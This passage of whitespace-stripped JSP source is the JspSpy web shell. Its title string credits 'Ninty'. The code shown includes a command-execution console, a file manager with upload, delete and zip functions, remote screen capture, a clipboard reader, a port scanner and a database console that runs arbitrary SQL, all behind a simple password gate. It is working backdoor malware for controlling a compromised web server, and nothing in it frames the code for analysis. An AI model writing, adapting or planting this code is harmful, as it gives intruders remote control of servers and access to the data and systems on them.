pro.destroy();}}privatestaticclassOnLineConnectorextendsThread{privateOnLineProcessol=null;privateInputStreamis;privateOutputStreamos;privateStringname;publicOnLineConnector(InputStreamis,OutputStreamos,Stringname,OnLineProcessol){this.is=is;this.os=os;this.name=name;this.ol=ol;}publicvoidrun(){BufferedReaderin=null;BufferedWriterout=null;try{in=newBufferedReader(newInputStreamReader(this.is));out=newBufferedWriter(newOutputStreamWriter(this.os));charbuffer[]=newchar[128];if(this.name.equals("exeRclientO")){//fromexetoclientintlength=0;while((length=in.read(buffer,0,buffer.length))&gt;0){Stringstr=newString(buffer,0,length);str=str.replace("&amp;","&amp;amp;").replace("&lt;","&amp;lt;").replace("&gt;","&amp;gt;");str=str.replace(""+(char)13+(char)10,"&lt;br/&gt;");str=str.replace("\n","&lt;br/&gt;");out.write(str.toCharArray(),0,str.length());out.flush();}}else{//fromclienttoexewhile(true){while(this.ol.getCmd()==null){Thread.sleep(500);}if(this.ol.getCmd().equals("first")){this.ol.setCmd(null);continue;}this.ol.setCmd(this.ol.getCmd()+(char)10);char[]arr=this.ol.getCmd().toCharArray();out.write(arr,0,arr.length);out.flush();this.ol.setCmd(null);}}}catch(Exceptione){}try{if(in!=null)in.close();if(out!=null)out.close();}catch(Exceptione){}}}privatestaticclassTable{privateArrayList&lt;Row&gt;rows=null;privatebooleanechoTableTag=false;publicvoidsetEchoTableTag(booleanv){this.echoTableTag=v;}publicTable(){this.rows=newArrayList&lt;Row&gt;();}publicvoidaddRow(Rowr){this.rows.add(r);}publicStringtoString(){StringBuilderhtml=newStringBuilder();if(echoTableTag)html.append("&lt;table&gt;");for(Rowr:rows){html.append("&lt;trclass=\"alt1\"onMouseOver=\"this.className='focus';\"onMouseOut=\"this.className='alt1';\"&gt;");for(Columnc:r.getColumns()){html.append("&lt;tdnowrap&gt;");Stringvv=Util.htmlEncode(Util.getStr(c.getValue()));if(vv.equals(""))vv="&amp;nbsp;";html.append(vv);html.append("&lt;/td&gt;");}html.append("&lt;/tr&gt;");}if(echoTableTag)html.append("&lt;/table&gt;");returnhtml.toString();}}privatestaticclassRow{privateArrayList&lt;Column&gt;cols=null;publicRow(){this.cols=newArrayList&lt;Column&gt;();}publicvoidaddColumn(Columnn){this.cols.add(n);}publicArrayList&lt;Column&gt;getColumns(){returnthis.cols;}}privatestaticclassColumn{privateStringvalue;publicColumn(Stringv){this.value=v;}publicStringgetValue(){returnthis.value;}}privatestaticclassUtil{publicstaticbooleanisEmpty(Strings){returns==null||s.trim().equals("");}publicstaticbooleanisEmpty(Objecto){returno==null||isEmpty(o.toString());}publicstaticStringgetSize(longsize,chardanwei){if(danwei=='M'){doublev=formatNumber(size/1024.0/1024.0,2);if(v&gt;1024){returngetSize(size,'G');}else{returnv+"M";}}elseif(danwei=='G'){returnformatNumber(size/1024.0/1024.0/1024.0,2)+"G";}elseif(danwei=='K'){doublev=formatNumber(size/1024.0,2);if(v&gt;1024){returngetSize(size,'M');}else{returnv+"K";}}elseif(danwei=='B'){if(size&gt;1024){returngetSize(size,'K');}else{returnsize+"B";}}return""+0+danwei;}publicstaticdoubleformatNumber(doublevalue,intl){NumberFormatformat=NumberFormat.getInstance();format.setMaximumFractionDigits(l);format.setGroupingUsed(false);returnnewDouble(format.format(value));}publicstaticbooleanisInteger(Stringv){if(isEmpty(v))returnfalse;returnv.matches("^\\d+$");}publicstaticStringformatDate(longtime){SimpleDateFormatformat=newSimpleDateFormat("yyyy-MM-ddhh:mm:ss");returnformat.format(newjava.util.Date(time));}publicstaticStringconvertPath(Stringpath){returnpath!=null?path.replace("\\","/"):"";}publicstaticStringhtmlEncode(Stringv){if(isEmpty(v))return"";returnv.replace("&amp;","&amp;amp;").replace("&lt;","&amp;lt;").replace("&gt;","&amp;gt;");}publicstaticStringgetStr(Strings){returns==null?"":s;}publicstaticStringgetStr(Objects){returns==null?"":s.toString();}publicstaticStringexec(Stringregex,Stringstr,intgroup){Patternpat=Pattern.compile(regex);Matcherm=pat.matcher(str);if(m.find())returnm.group(group);returnnull;}publicstaticvoidoutMsg(Writerout,Stringmsg)throwsException{outMsg(out,msg,"center");}publicstaticvoidoutMsg(Writerout,Stringmsg,Stringalign)throwsException{if(msg.indexOf("java.lang.ClassNotFoundException")!=-1)msg="CanNotFindTheDriver!&lt;br/&gt;"+msg;out.write("&lt;divstyle=\"background:#f1f1f1;border:1pxsolid#ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\"&gt;"+msg+"&lt;/div&gt;");}}privatestaticclassUploadBean{privateStringfileName=null;privateStringsuffix=null;privateStringsavePath="";privateServletInputStreamsis=null;privatebyte[]b=newbyte[1024];publicUploadBean(){}publicvoidsetSavePath(Stringpath){this.savePath=path;}publicvoidparseRequest(HttpServletRequestrequest)throwsIOException{sis=request.getInputStream();inta=0;intk=0;Strings="";while((a=sis.readLine(b,0,b.length))!=-1){s=newString(b,0,a,PAGE_CHARSET);if((k=s.indexOf("filename=\""))!=-1){s=s.substring(k+10);k=s.indexOf("\"");s=s.substring(0,k);FiletF=newFile(s);if(tF.isAbsolute()){fileName=tF.getName();}else{fileName=s;}k=s.lastIndexOf(".");suffix=s.substring(k+1);upload();}}}privatevoidupload(){try{FileOutputStreamout=newFileOutputStream(newFile(savePath,fileName));inta=0;intk=0;Strings="";while((a=sis.readLine(b,0,b.length))!=-1){s=newString(b,0,a);if((k=s.indexOf("Content-Type:"))!=-1){break;}}sis.readLine(b,0,b.length);while((a=sis.readLine(b,0,b.length))!=-1){s=newString(b,0,a);if((b[0]==45)&amp;&amp;(b[1]==45)&amp;&amp;(b[2]==45)&amp;&amp;(b[3]==45)&amp;&amp;(b[4]==45)){break;}out.write(b,0,a);}out.close();}catch(IOExceptionioe){ioe.printStackTrace();}}}%&gt;&lt;%SHELL_NAME=request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);StringmyAbsolutePath=application.getRealPath(request.getServletPath());if(Util.isEmpty(myAbsolutePath)){//forweblogicSHELL_NAME=request.getServletPath();myAbsolutePath=newFile(application.getResource("/").getPath()+SHELL_NAME).toString();SHELL_NAME=request.getContextPath()+SHELL_NAME;WEB_ROOT=newFile(application.getResource("/").getPath()).toString();}else{WEB_ROOT=application.getRealPath("/");}SHELL_DIR=Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));if(session.getAttribute(CURRENT_DIR)==null)session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));if(session.getAttribute(PW_SESSION_ATTRIBUTE)==null||!(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)){Stringo=request.getParameter("o");if(o!=null&amp;&amp;o.equals("login")){ins.get("login").invoke(request,response,session);return;}elseif(o!=null&amp;&amp;o.equals("vLogin")){ins.get("vLogin").invoke(request,response,session);return;}else{response.sendRedirect(SHELL_NAME+"?o=vLogin");return;}}%&gt;&lt;%!privatestaticinterfaceInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException;publicbooleandoBefore();publicbooleandoAfter();}privatestaticclassDefaultInvokerimplementsInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{}publicbooleandoBefore(){returntrue;}publicbooleandoAfter(){returntrue;}}privatestaticclassScriptInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;scripttype=\"text/javascript\"&gt;"+"String.prototype.trim=function(){returnthis.replace(/^\\s+|\\s+$/,'');};"+"functionfso(obj){"+"this.currentDir='"+JSession.getAttribute(CURRENT_DIR)+"';"+"this.filename=obj.filename;"+"this.path=obj.path;"+"this.filetype=obj.filetype;"+"};"+"fso.prototype={"+"copy:function(){"+"varpath=prompt('CopyTo:',this.path);"+"if(path==null||path.trim().length==0||path.trim()==this.path)return;"+"doPost({o:'copy',src:this.path,to:path});"+"},"+"move:function(){"+"varpath=prompt('MoveTo:',this.path);"+"if(path==null||path.trim().length==0||path.trim()==this.path)return;"+"doPost({o:'move',src:this.path,to:path})"+"},"+"vEdit:function(){"+"doPost({o:'vEdit',filepath:this.path})"+"},"+"down:function(){"+"doPost({o:'down',path:this.path})"+"},"+"removedir:function(){"+"if(!confirm('Dangerous!AreYouSureToDelete'+this.filename+'?'))return;"+"doPost({o:'removedir',dir:this.path});"+"},"+"mkdir:function(){"+"varname=prompt('InputNewDirectoryName','');"+"if(name==null||name.trim().length==0)return;"+"doPost({o:'mkdir',name:name});"+"},"+"subdir:function(){"+"doPost({o:'filelist',folder:this.path})"+"},"+"parent:function(){"+"varparent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+"doPost({o:'filelist',folder:parent})"+"},"+"createFile:function(){"+"varpath=prompt('InputNewFileName','');"+"if(path==null||path.trim().length==0)return;"+"doPost({o:'vCreateFile',filepath:path})"+"},"+"deleteBatch:function(){"+"if(!confirm('AreYouSureToDeleteTheseFiles?'))return;"+"varselected=newArray();"+"varinputs=document.getElementsByTagName('input');"+"for(vari=0;i&lt;inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+"if(selected.length==0){alert('NoFileSelected');return;}"+"doPost({o:'deleteBatch',files:selected.join(',')})"+"},"+"packBatch:function(){"+"varselected=newArray();"+"varinputs=document.getElementsByTagName('input');"+"for(vari=0;i&lt;inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+"if(selected.length==0){alert('NoFileSelected');return;}"+"varsavefilename=prompt('InputTargetFileName(OnlySupportZIP)','pack.zip');"+"if(savefilename==null||savefilename.trim().length==0)return;"+"doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+"},"+"pack:function(){"+"vartmpName='';"+"if(this.filename.indexOf('.')==-1)tmpName=this.filename;"+"elsetmpName=this.filename.substr(0,this.filename.lastIndexOf('.'));"+"tmpName+='.zip';"+"varpath=this.path;"+"varname=prompt('InputTargetFileName(OnlySupportZip)',tmpName);"+"if(name==null||path.trim().length==0)return;"+"doPost({o:'pack',packedfile:path,savefilename:name})"+"},"+"vEditProperty:function(){"+"varpath=this.path;"+"doPost({o:'vEditProperty',filepath:path})"+"},"+"unpack:function(){"+"varpath=prompt('unpackto:',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+"if(path==null||path.trim().length==0)return;"+"doPost({o:'unpack',savepath:path,zipfile:this.path})"+"}"+"};"+"functiondoPost(obj){"+"varform=document.forms[\"doForm\"];"+"varelements=form.elements;for(vari=form.length-1;i&gt;=0;i--){form.removeChild(elements[i])}"+"for(varproinobj)"+"{"+"varinput=document.createElement(\"input\");"+"input.type=\"hidden\";"+"input.name=pro;"+"input.value=obj[pro];"+"form.appendChild(input);"+"}"+"form.submit();"+"}"+"&lt;/script&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassBeforeInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;html&gt;&lt;head&gt;&lt;title&gt;JspSpyCodzBy-Ninty&lt;/title&gt;&lt;styletype=\"text/css\"&gt;"+"body,td{font:12pxArial,Tahoma;line-height:16px;}"+".input{font:12pxArial,Tahoma;background:#fff;border:1pxsolid#666;padding:2px;height:22px;}"+".area{font:12px'CourierNew',Monospace;background:#fff;border:1pxsolid#666;padding:2px;}"+".bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12pxArial,Tahoma;height:22px;}"+"a{color:#00f;text-decoration:underline;}"+"a:hover{color:#f00;text-decoration:none;}"+".alt1td{border-top:1pxsolid#fff;border-bottom:1pxsolid#ddd;background:#f1f1f1;padding:5px10px5px5px;}"+".alt2td{border-top:1pxsolid#fff;border-bottom:1pxsolid#ddd;background:#f9f9f9;padding:5px10px5px5px;}"+".focustd{border-top:1pxsolid#fff;border-bottom:1pxsolid#ddd;background:#ffffaa;padding:5px10px5px5px;}"+".headtd{border-top:1pxsolid#fff;border-bottom:1pxsolid#ddd;background:#e9e9e9;padding:5px10px5px5px;font-weight:bold;}"+".headtdspan{font-weight:normal;}"+"form{margin:0;padding:0;}"+"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+"ul.infoli{margin:0;color:#444;line-height:24px;height:24px;}"+"u{text-decoration:none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+".secho{height:400px;width:100%;overflow:auto;border:none}"+"&lt;/style&gt;&lt;/head&gt;&lt;bodystyle=\"margin:0;table-layout:fixed;word-break:break-all\"&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassAfterInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;/body&gt;&lt;/html&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassDeleteBatchInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringfiles=request.getParameter("files");if(!Util.isEmpty(files)){StringcurrentDir=JSession.getAttribute(CURRENT_DIR).toString();String[]arr=files.split(",");for(Stringfs:arr){Filef=newFile(currentDir,fs);f.delete();}}JSession.setAttribute(MSG,"DeleteFilesSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassClipBoardInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;"+"&lt;tr&gt;"+"&lt;td&gt;"+"&lt;h2&gt;SystemClipboard&amp;raquo;&lt;/h2&gt;"+"&lt;p&gt;&lt;pre&gt;");try{out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));}catch(Exceptionex){out.println("ClipBoardisEmptyOrIsNotTextData!");}out.println("&lt;/pre&gt;"+"&lt;inputclass=\"bt\"name=\"button\"id=\"button\"onClick=\"history.back()\"value=\"Back\"type=\"button\"size=\"100\"/&gt;"+"&lt;/p&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVRemoteControlInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;scripttype=\"text/javascript\"&gt;"+"varinterval=null;"+"functiona(btn){"+"if(btn.value==\"Stop\")"+"{"+"sstopClick(btn);"+"}else{"+"startClick(btn);"+"}"+"}"+"functionstartClick(btn){"+"btn.value=\"Stop\";"+"varpl=document.getElementById(\"pl\").value;"+"interval=setInterval(function(){"+"varimg=document.getElementById(\"screen\");"+"img.src=\""+SHELL_NAME+"?o=gc&amp;rnd=\"+Math.random();"+"},parseInt(pl)*1000);"+"}"+"functionsstopClick(btn){"+"clearInterval(interval);"+"btn.value=\"Start\";"+"}"+"&lt;/script&gt;");out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;"+"&lt;tr&gt;"+"&lt;td&gt;"+"&lt;h2&gt;RemoteControl&amp;raquo;&lt;/h2&gt;&lt;inputclass=\"bt\"onclick=\"varimg=document.getElementById('screen').src='"+SHELL_NAME+"?o=gc&amp;rnd='+Math.random();\"name=\"getsc\"id=\"getsc\"value=\"GetScreen\"type=\"button\"size=\"100\"/&gt;"+"&lt;inputclass=\"bt\"name=\"button\"id=\"button\"onClick=\"a(this)\"value=\"Start\"type=\"button\"size=\"100\"/&gt;Speed(Second,dontbesofast)&lt;inputtype='text'value='3'size='5'id='pl'name='pl'/&gt;CanNotControlYet."+"&lt;hr/&gt;&lt;p&gt;&lt;imgid='screen'src='x'/&gt;&lt;/p&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}//GetScreenprivatestaticclassGcInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Dimensionsize=Toolkit.getDefaultToolkit().getScreenSize();Rectanglerec=newRectangle(0,0,(int)size.getWidth(),(int)size.getHeight());BufferedImageimg=newRobot().createScreenCapture(rec);response.setContentType("image/jpeg");ImageIO.write(img,"jpg",response.getOutputStream());}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVPortScanInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringip=request.getParameter("ip");Stringports=request.getParameter("ports");Stringtimeout=request.getParameter("timeout");if(Util.isEmpty(ip))ip="127.0.0.1";if(Util.isEmpty(ports))ports="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";if(Util.isEmpty(timeout))timeout="2";out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;h2id=\"Bin_H2_Title\"&gt;PortScan&amp;gt;&amp;gt;&lt;/h2&gt;"+"&lt;divid=\"YwLB\"&gt;&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;p&gt;&lt;inputtype=\"hidden\"value=\"portScan\"name=\"o\"&gt;"+"IP:&lt;inputname=\"ip\"type=\"text\"value=\""+ip+"\"id=\"ip\"class=\"input\"style=\"width:10%;margin:08px;\"/&gt;Port:&lt;inputname=\"ports\"type=\"text\"value=\""+ports+"\"id=\"ports\"class=\"input\"style=\"width:40%;margin:08px;\"/&gt;Timeout（秒）:&lt;inputname=\"timeout\"type=\"text\"value=\""+timeout+"\"id=\"timeout\"class=\"input\"size=\"5\"style=\"margin:08px;\"/&gt;&lt;inputtype=\"submit\"name=\"submit\"value=\"Scan\"id=\"submit\"class=\"bt\"/&gt;"+"&lt;/p&gt;"+"&lt;/form&gt;&lt;/div&gt;"+"&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassPortScanInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();ins.get("vPortScan").invoke(request,response,JSession);Stringip=request.getParameter("ip");Stringports=request.getParameter("ports");Stringtimeout=request.getParameter("timeout");intiTimeout=0;if(Util.isEmpty(ip)||Util.isEmpty(ports))return;if(!Util.isInteger(timeout)){timeout="2";}iTimeout=Integer.parseInt(timeout);Map&lt;String,String&gt;rs=newLinkedHashMap&lt;String,String&gt;();String[]portArr=ports.split(",");for(Stringport:portArr){try{Sockets=newSocket();s.connect(newInetSocketAddress(ip,Integer.parseInt(port)),iTimeout);s.close();rs.put(port,"Open");}catch(Exceptione){rs.put(port,"Close");}}out.println("&lt;divstyle='margin:10px'&gt;");Set&lt;Map.Entry&lt;String,String&gt;&gt;entrySet=rs.entrySet();for(Map.Entry&lt;String,String&gt;e:entrySet){Stringport=e.getKey();Stringvalue=e.getValue();out.println(ip+":"+port+".................................&lt;fontcolor="+(value.equals("Open")?"green":"red")+"&gt;&lt;b&gt;"+value+"&lt;/b&gt;&lt;/font&gt;&lt;br&gt;");}out.println("&lt;/div&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVConnInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Objectobj=JSession.getAttribute(DBO);if(obj==null||!((DBOperator)obj).isValid()){out.println("&lt;scripttype=\"text/javascript\"&gt;"+"functionchangeurldriver(){"+"varform=document.forms[\"form1\"];"+"varv=form.elements[\"db\"].value;"+"form.elements[\"url\"].value=v.split(\"`\")[1];"+"form.elements[\"driver\"].value=v.split(\"`\")[0];"+"form.elements[\"selectDb\"].value=form.elements[\"db\"].selectedIndex;"+"}"+"&lt;/script&gt;");out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;inputtype=\"hidden\"id=\"selectDb\"name=\"selectDb\"value=\"0\"&gt;"+"&lt;h2&gt;DataBaseManager&amp;raquo;&lt;/h2&gt;"+"&lt;inputid=\"action\"type=\"hidden\"name=\"o\"value=\"dbc\"/&gt;"+"&lt;p&gt;"+"Driver:"+"&lt;inputclass=\"input\"name=\"driver\"id=\"driver\"type=\"text\"size=\"35\"/&gt;"+"URL:"+"&lt;inputclass=\"input\"name=\"url\"id=\"url\"value=\"\"type=\"text\"size=\"90\"/&gt;"+"UID:"+"&lt;inputclass=\"input\"name=\"uid\"id=\"uid\"value=\"\"type=\"text\"size=\"10\"/&gt;"+"PWD:"+"&lt;inputclass=\"input\"name=\"pwd\"id=\"pwd\"value=\"\"type=\"text\"size=\"10\"/&gt;"+"DataBase:"+"&lt;selectonchange='changeurldriver()'class=\"input\"id=\"db\"name=\"db\"&gt;"+"&lt;optionvalue='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&amp;characterEncoding=GBK'&gt;Mysql&lt;/option&gt;"+"&lt;optionvalue='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'&gt;Oracle&lt;/option&gt;"+"&lt;optionvalue='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'&gt;SqlServer&lt;/option&gt;"+"&lt;optionvalue='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={MicrosoftAccessDriver(*.mdb)};DBQ=C:\\ninty.mdb'&gt;Access&lt;/option&gt;"+"&lt;optionvalue='`'&gt;Other&lt;/option&gt;"+"&lt;/select&gt;"+"&lt;inputclass=\"bt\"name=\"connect\"id=\"connect\"value=\"Connect\"type=\"submit\"size=\"100\"/&gt;"+"&lt;/p&gt;"+"&lt;/form&gt;&lt;/table&gt;&lt;script&gt;changeurldriver()&lt;/script&gt;");}else{ins.get("dbc").invoke(request,response,JSession);}}catch(Exceptione){e.printStackTrace();throwe;}}}//DBConnectprivatestaticclassDbcInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringdriver=request.getParameter("driver");Stringurl=request.getParameter("url");Stringuid=request.getParameter("uid");Stringpwd=request.getParameter("pwd");Stringsql=request.getParameter("sql");StringselectDb=request.getParameter("selectDb");if(selectDb==null)selectDb=JSession.getAttribute("selectDb").toString();elseJSession.setAttribute("selectDb",selectDb);Objectdbo=JSession.getAttribute(DBO);if(dbo==null||!((DBOperator)dbo).isValid()){if(dbo!=null)((DBOperator)dbo).close();dbo=newDBOperator(driver,url,uid,pwd,true);}else{if(!Util.isEmpty(driver)&amp;&amp;!Util.isEmpty(url)&amp;&amp;!Util.isEmpty(uid)){DBOperatoroldDbo=(DBOperator)dbo;dbo=newDBOperator(driver,url,uid,pwd);if(!oldDbo.equals(dbo)){((DBOperator)oldDbo).close();((DBOperator)dbo).connect();}else{dbo=oldDbo;}}}DBOperatorDdbo=(DBOperator)dbo;JSession.setAttribute(DBO,Ddbo);Util.outMsg(out,"ConnectToDataBaseSuccess!");out.println("&lt;scripttype=\"text/javascript\"&gt;"+"functionchangeurldriver(selectDb){"+"varform=document.forms[\"form1\"];"+"if(selectDb){"+"form.elements[\"db\"].selectedIndex=selectDb"+"}"+"varv=form.elements[\"db\"].value;"+"form.elements[\"url\"].value=v.split(\"`\")[1];"+"form.elements[\"driver\"].value=v.split(\"`\")[0];"+"form.elements[\"selectDb\"].value=form.elements[\"db\"].selectedIndex;"+"}"+"&lt;/script&gt;");out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;inputtype=\"hidden\"id=\"selectDb\"name=\"selectDb\"value=\""+selectDb+"\"&gt;"+"&lt;h2&gt;DataBaseManager&amp;raquo;&lt;/h2&gt;"+"&lt;inputid=\"action\"type=\"hidden\"name=\"o\"value=\"dbc\"/&gt;"+"&lt;p&gt;"+"Driver:"+"&lt;inputclass=\"input\"name=\"driver\"value=\""+Ddbo.driver+"\"id=\"driver\"type=\"text\"size=\"35\"/&gt;"+"URL:"+"&lt;inputclass=\"input\"name=\"url\"value=\""+Ddbo.url+"\"id=\"url\"value=\"\"type=\"text\"size=\"90\"/&gt;"+"UID:"+"&lt;inputclass=\"input\"name=\"uid\"value=\""+Ddbo.uid+"\"id=\"uid\"value=\"\"type=\"text\"size=\"10\"/&gt;"+"PWD:"+"&lt;inputclass=\"input\"name=\"pwd\"value=\""+Ddbo.pwd+"\"id=\"pwd\"value=\"\"type=\"text\"size=\"10\"/&gt;"+"DataBase:"+"&lt;selectonchange='changeurldriver()'class=\"input\"id=\"db\"name=\"db\"&gt;"+"&lt;optionvalue='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&amp;characterEncoding=GBK'&gt;Mysql&lt;/option&gt;"+"&lt;optionvalue='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'&gt;Oracle&lt;/option&gt;"+"&lt;optionvalue='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'&gt;SqlServer&lt;/option&gt;"+"&lt;optionvalue='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={MicrosoftAccessDriver(*.mdb)};DBQ=C:/ninty.mdb'&gt;Access&lt;/option&gt;"+"&lt;optionvalue='`'&gt;Other&lt;/option&gt;"+"&lt;/select&gt;"+"&lt;inputclass=\"bt\"name=\"connect\"id=\"connect\"value=\"Connect\"type=\"submit\"size=\"100\"/&gt;"+"&lt;/p&gt;"+"&lt;/form&gt;&lt;script&gt;changeurldriver('"+selectDb+"')&lt;/script&gt;");out.println("&lt;formaction=\""+SHELL_NAME+"\"method=\"POST\"&gt;"+"&lt;p&gt;&lt;inputtype=\"hidden\"name=\"selectDb\"value=\""+selectDb+"\"&gt;&lt;inputtype=\"hidden\"name=\"o\"value=\"executesql\"&gt;&lt;tablewidth=\"200\"border=\"0\"cellpadding=\"0\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;tdcolspan=\"2\"&gt;RunSQLquery/queriesondatabase:&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;textareaname=\"sql\"class=\"area\"style=\"width:600px;height:50px;overflow:auto;\"&gt;"+Util.htmlEncode(Util.getStr(sql))+"&lt;/textarea&gt;&lt;/td&gt;&lt;tdstyle=\"padding:05px;\"&gt;&lt;inputclass=\"bt\"style=\"height:50px;\"name=\"submit\"type=\"submit\"value=\"Query\"/&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;/form&gt;&lt;/table&gt;");}catch(Exceptione){//e.printStackTrace();throwe;}}}privatestaticclassExecuteSQLInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringsql=request.getParameter("sql");Stringdb=request.getParameter("selectDb");Objectdbo=JSession.getAttribute(DBO);if(!Util.isEmpty(sql)){if(dbo==null||!((DBOperator)dbo).isValid()){response.sendRedirect(SHELL_NAME+"?o=vConn");}else{ins.get("dbc").invoke(request,response,JSession);Objectobj=((DBOperator)dbo).execute(sql);if(objinstanceofResultSet){ResultSetrs=(ResultSet)obj;ResultSetMetaDatameta=rs.getMetaData();intcolCount=meta.getColumnCount();out.println("&lt;divstyle='padding:10px'&gt;&lt;p&gt;&lt;b&gt;Query#0:"+Util.htmlEncode(sql)+"&lt;/b&gt;&lt;/p&gt;");out.println("&lt;tableborder=\"0\"cellpadding=\"3\"cellspacing=\"0\"&gt;&lt;trclass=\"head\"&gt;");for(inti=1;i&lt;=colCount;i++){out.println("&lt;tdnowrap&gt;"+meta.getColumnName(i)+"&lt;br&gt;&lt;span&gt;"+meta.getColumnTypeName(i)+"&lt;/span&gt;&lt;/td&gt;");}out.println("&lt;/tr&gt;");Tabletb=newTable();while(rs.next()){Rowr=newRow();for(inti=1;i&lt;=colCount;i++){r.addColumn(newColumn(rs.getString(i)));}tb.addRow(r);}out.println(tb.toString());out.println("&lt;/table&gt;&lt;/div&gt;");rs.close();((DBOperator)dbo).closeStmt();}else{out.println("&lt;divstyle='margin:10px'&gt;&lt;h2&gt;affectedrows:&lt;b&gt;"+obj+"&lt;/b&gt;&lt;/h2&gt;&lt;/div&gt;");}}}else{ins.get("dbc").invoke(request,response,JSession);}}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVLoginInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)th